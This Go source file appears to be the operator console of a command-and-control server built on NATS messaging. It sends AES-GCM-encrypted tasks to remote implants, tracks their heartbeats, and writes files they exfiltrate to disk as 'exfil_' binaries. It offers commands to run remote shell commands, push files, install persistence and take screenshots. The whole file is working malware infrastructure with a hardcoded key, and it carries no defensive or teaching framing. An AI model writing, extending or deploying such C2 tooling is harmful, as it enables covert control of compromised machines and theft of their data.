package main import ( "bufio" "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "fmt" "io" "os" "strings" "time" "github.com/nats-io/nats.go" ) const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c=" var aesKey []byte var nc *nats.Conn var natsURL = "nats://localhost:4222" func encrypt(plaintext []byte) ([]byte, error) { block, _ := aes.NewCipher(aesKey) gcm, _ := cipher.NewGCM(block) nonce := make([]byte, gcm.NonceSize()) io.ReadFull(rand.Reader, nonce) return gcm.Seal(nonce, nonce, plaintext, nil), nil } func decrypt(ciphertext []byte) ([]byte, error) { block, _ := aes.NewCipher(aesKey) gcm, _ := cipher.NewGCM(block) nonceSize := gcm.NonceSize() nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] return gcm.Open(nil, nonce, ciphertext, nil) } func publishTask(agent, cmd string) { encCmd, _ := encrypt([]byte(cmd)) nc.Publish("c2."+agent+".tasks", encCmd) } func main() { var err error aesKey, _ = base64.StdEncoding.DecodeString(b64Key) // Try JWT auth if creds exist if _, err := os.Stat("implant.creds"); err == nil { nc, err = nats.Connect(natsURL, nats.UserCredentials("implant.creds")) } else { nc, err = nats.Connect(natsURL) } if err != nil { panic(err) } defer nc.Drain() heartbeats := make(map[string]time.Time) nc.Subscribe("c2.*.heartbeat", func(m *nats.Msg) { dec, err := decrypt(m.Data) if err == nil && string(dec) == "online" { agent := strings.Split(m.Subject, ".")[1] heartbeats[agent] = time.Now() } }) nc.Subscribe("c2.*.results", func(m *nats.Msg) { dec, _ := decrypt(m.Data) agent := strings.Split(m.Subject, ".")[1] fmt.Printf("\n[+] Result from %s:\n%s\n> ", agent, string(dec)) }) nc.Subscribe("c2.*.file_upload", func(m *nats.Msg) { b64data := string(m.Data) encData, _ := base64.StdEncoding.DecodeString(b64data) decData, _ := decrypt(encData) agent := strings.Split(m.Subject, ".")[1] filename := fmt.Sprintf("exfil_%s_%d.bin", agent, time.Now().Unix()) os.WriteFile(filename, decData, 0644) fmt.Printf("\n[!] File saved: %s\n> ", filename) }) fmt.Println("[*] NATS C2 Operator Ready") fmt.Println("Commands: list, shell , upload , persist, screenshot, exit") scanner := bufio.NewScanner(os.Stdin) for { fmt.Print("> ") if !scanner.Scan() { break } line := scanner.Text() parts := strings.Fields(line) if len(parts) == 0 { continue } switch parts[0] { case "exit": return case "list": fmt.Println("Active agents:") for agent, ts := range heartbeats { if time.Since(ts) < 90*time.Second { fmt.Println(" -", agent) } } default: if len(parts) < 2 { fmt.Println("Usage: [args]") continue } agent := parts[0] cmd := parts[1] args := strings.Join(parts[2:], " ") switch cmd { case "shell": if args == "" { fmt.Println("Usage: shell ") continue } publishTask(agent, "shell "+args) case "upload": if args == "" { fmt.Println("Usage: upload ") continue } data, err := os.ReadFile(args) if err != nil { fmt.Println("Error reading file:", err) continue } encData, _ := encrypt(data) b64enc := base64.StdEncoding.EncodeToString(encData) publishTask(agent, fmt.Sprintf("download %s %s", args, b64enc)) case "persist": publishTask(agent, "persist") case "screenshot": publishTask(agent, "screenshot") default: fmt.Println("Unknown command") } } } }